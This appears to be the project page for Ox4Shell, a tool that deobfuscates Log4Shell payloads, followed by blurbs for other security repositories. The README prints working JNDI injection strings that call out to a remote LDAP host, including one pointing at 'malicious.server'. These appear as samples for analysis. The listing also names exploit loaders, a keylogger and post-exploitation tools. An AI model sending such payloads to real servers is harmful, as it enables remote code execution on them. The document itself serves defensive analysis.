Deobfuscate Log4Shell payloads with ease

Overview

Logo-LightLogo-Dark


maintained-oxeye python-3.8 version-1.0 license-mit

Ox4Shell

Deobfuscate Log4Shell payloads with ease.

Description

Since the release of the Log4Shell vulnerability (CVE-2021-44228), many tools were created to obfuscate Log4Shell payloads, making the lives of security engineers a nightmare.

This tool intends to unravel the true contents of obfuscated Log4Shell payloads.

For example, consider the following obfuscated payload:

${zrch-Q(NGyN-yLkV:-}${j${sm:Eq9QDZ8-xEv54:-ndi}${GLX-MZK13n78y:GW2pQ:-:l}${ckX:[email protected][)]Tmw:a(:-da}${W(d:KSR)ky3:bv78UX2R-5MV:-p:/}/1.${)U:W9y=N:-}${i9yX1[:Z[Ve2=IkT=Z-96:-1.1}${[W*W:[email protected]@-vL7thi26dIeB-HxjP:-.1}:38${Mh:n341x.Xl2L-8rHEeTW*=-lTNkvo:-90/}${sx3-9GTRv:-Cal}c$c${HR-ewA.mQ:[email protected]:-z}3z${uY)u:7S2)P4ihH:[email protected]:-]}${S5D4[:qXhUBruo-QMr$1Bd-.=BmV:-}${_wjS:BIY0s:-Y_}p${SBKv-d9$5:-}Wx${Im:ajtV:-}AoL${=6wx-_HRvJK:-P}W${cR.1-lt3$R6R]x7-LomGH90)gAZ:NmYJx:-}h}

After running Ox4Shell, it would transform into an intuitive and readable form:

${jndi:ldap://1.1.1.1:3890/Calc$cz3z]Y_pWxAoLPWh}

Usage

To run the tool simply:

~/Ox4Shell » python ox4shell.py --help
usage: ox4shell [-h] [-d] [-m MOCK] [--max-depth MAX_DEPTH] (-p PAYLOAD | -f FILE)

   ____       _  _   _____ _          _ _ 
  / __ \     | || | / ____| |        | | |
 | |  | |_  _| || || (___ | |__   ___| | |
 | |  | \ \/ /__   _\___ \| '_ \ / _ \ | |
 | |__| |>  <   | | ____) | | | |  __/ | |
  \____//_/\_\  |_||_____/|_| |_|\___|_|_|

Ox4Shell - Deobfuscate Log4Shell payloads with ease.
    Created by https://oxeye.io

General:
  -h, --help            show this help message and exit
  -d, --debug           Enable debug mode (default: False)
  -m MOCK, --mock MOCK  The location of the mock data JSON file that replaces certain values in the payload (default: mock.json)
  --max-depth MAX_DEPTH
                        The maximum number of iteration to perform on a given payload (default: 150)

Targets:
  Choose which target payloads to run Ox4Shell on

  -p PAYLOAD, --payload PAYLOAD
                        A single payload to deobfuscate, make sure to escape '$' signs (default: None)
  -f FILE, --file FILE  A file containing payloads delimited by newline (default: None)

Mock Data

The Log4j library has a few unique lookup functions, which allow users to look up environment variables, runtime information on the Java process, and so forth. This capability grants threat actors the ability to probe for specific information that can uniquely identify the compromised machine they targeted.

Ox4Shell uses the mock.json file to insert common values into certain lookup function, for example, if the payload contains the value ${env:HOME}, we can replace it with a custom mock value.

The default set of mock data provided is:

{
    "hostname": "ip-127.0.0.1",
    "env": {
        "aws_profile": "staging",
        "user": "ubuntu",
        "pwd": "/opt/",
        "path": "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/jvm/java-1.8-openjdk/jre/bin:/usr/lib/jvm/java-1.8-openjdk/bin"
    },
    "sys": {
        "java.version": "16.0.2",
        "user.name": "ubuntu"
    },
    "java": {
        "version": "Java version 16.0.2",
        "runtime": "OpenJDK Runtime Environment (build 1.8.0_181-b13) from Oracle Corporation",
        "vm": "OpenJDK 64-Bit Server VM (build 25.181-b13, mixed mode)",
        "os": "Linux 5.10.47-linuxkit unknown, architecture: amd64-64",
        "locale": "default locale: en_US, platform encoding: UTF-8",
        "hw": "processors: 1, architecture: amd64-64"
    }
}

As an example, we can deobfuscate the following payload using the Ox4Shell's mocking capability:

~/Ox4Shell >> python ox4shell.py -p "\${jndi:ldap://\${sys:java.version}.\${env:AWS_PROFILE}.malicious.server/a}"  
${jndi:ldap://16.0.2.staging.malicious.server/a}

Authors

License

The source code for the project is licensed under the MIT license, which you can find in the LICENSE file.

Owner
Oxeye
Contextual, Risk-Based, Cloud Native Application Security Testing
Oxeye
Magicspoofing - A python3 script for search possible misconfiguration in a DNS related to security protections of email service from the domain name

A python3 script for search possible misconfiguration in a DNS related to security protections of email service from the domain name. This project is for educational use, we are not responsible for i

20 Dec 02, 2022
GRR Rapid Response: remote live forensics for incident response

GRR Rapid Response is an incident response framework focused on remote live forensics. Build Type Status Tests End-to-end Tests Windows Templates Linu

Google 4.3k Jan 05, 2023
A windows post exploitation tool that contains a lot of features for information gathering and more.

Crowbar - A windows post exploitation tool Status - ✔️ This project is now considered finished. Any updates from now on will most likely be new script

29 Nov 20, 2022
CVE-2021-22205& GitLab CE/EE RCE

Vuln Impact An issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. GitLab was not properly validating image files tha

Al1ex 213 Dec 30, 2022
CVE-2021-40346 integer overflow enables http smuggling

CVE-2021-40346-POC CVE-2021-40346 integer overflow enables http smuggling Reference: https://jfrog.com/blog/critical-vulnerability-in-haproxy-cve-2021

donky16 34 Nov 15, 2022
Apk Framework Detector

🚀🚀🚀Program helps you to detect the major framework or technology used in writing any android app. Just provide the apk 😇😇

Daniel Agyapong 10 Dec 07, 2022
Keystroke logging, often referred to as keylogging or keyboard capturing

Keystroke logging, often referred to as keylogging or keyboard capturing, is the action of recording the keys struck on a keyboard, typically covertly, so that a person using the keyboard is unaware

Harsha G 2 Jan 11, 2022
Fuzzercorn - Bring libfuzzer to Unicorn

Fuzzercorn libfuzzer bindings for Unicorn. API // The main entry point of the fu

lazymio 23 Nov 17, 2022
Get related domains / subdomains by looking at Google Analytics IDs

DomainRelationShips ██╗ ██╗ █████╗ ██╗██████╗ ██║ ██║██╔══██╗ ██║██╔══██╗ ██║ ██║█████

Josué Encinar 161 Jan 02, 2023
Web Headers Security Scanner

Web Headers Security Scanner

Emre Koybasi 3 Dec 16, 2022
A security system to warn you when people enter your room 🎥

Get Out My Room v0.1 I hate people coming in my room when i'm not there. Get Out My Room is a simple security system that sends notifications with vid

ScriptLine 1 Jan 11, 2022
This collection of tools that makes it easy to secure and/or obfuscate messages, files, and data.

Scrambler App This collection of tools that makes it easy to secure and/or obfuscate messages, files, and data. It leverages encryption tools such as

Mystic 2 Aug 31, 2022
On the 11/11/21 the apache 2.4.49-2.4.50 remote command execution POC has been published online and this is a loader so that you can mass exploit servers using this.

ApacheRCE ApacheRCE is a small little python script that will allow you to input the apache version 2.4.49-2.4.50 and then input a list of ip addresse

3 Dec 04, 2022
Mass scan for .git repository and .env file exposure

Mass .Git repository and .Env file Scan by Scarmandef Scanner to find .env file and .git repository exposure on multiple hosts Because of the response

8 Jun 23, 2022
This is a js front-end encryption blasting account and password tools

Author:0xAXSDD By Gamma安全实验室 version:1.0 explain:这是一款用户绕过前端js加密进行密码爆破的工具,你无需在意js加密的细节,只需要输入你想要爆破url,以及username输入框的classname,password输入框的clas

75 Nov 25, 2022
A simple automatic tool for finding vulnerable log4j hosts

Log4Scan A simple automatic tool for finding vulnerable log4j hosts Installation pip3 install -r requirements.txt Usage usage: log4scan.py [-h] (-f FI

Federico Rapetti 20018955 6 Mar 10, 2022
Generates password lists/dictionaries based on keywords written in python3.

dicbyru Introduction Generates password lists/dictionaries based on keywords. It uses the keywords and adds capital letters, numbers and special chara

ru55o 2 Oct 31, 2022
XSS scanner in python

DeadXSS XSS scanner in python How to Download: Step 1: git clone https://github.com/Deadeye0x/DeadXSS.git Step 2: cd DeadXSS Step 3: python3 DeadXSS.p

2 Jul 17, 2022
Proof of concept GnuCash Webinterface

Proof of Concept GnuCash Webinterface This may one day be a something truly great. Milestones [ ] Browse accounts and view transactions [ ] Record sim

Josh 14 Dec 28, 2022
AIL LeakFeeder: A Module for AIL Framework that automate the process to feed leaked files automatically to AIL

AIL LeakFeeder: A Module for AIL Framework that automates the process to feed leaked files automatically to AIL, So basically this feeder will help you ingest AIL with your leaked files automatically

ail project 8 May 03, 2022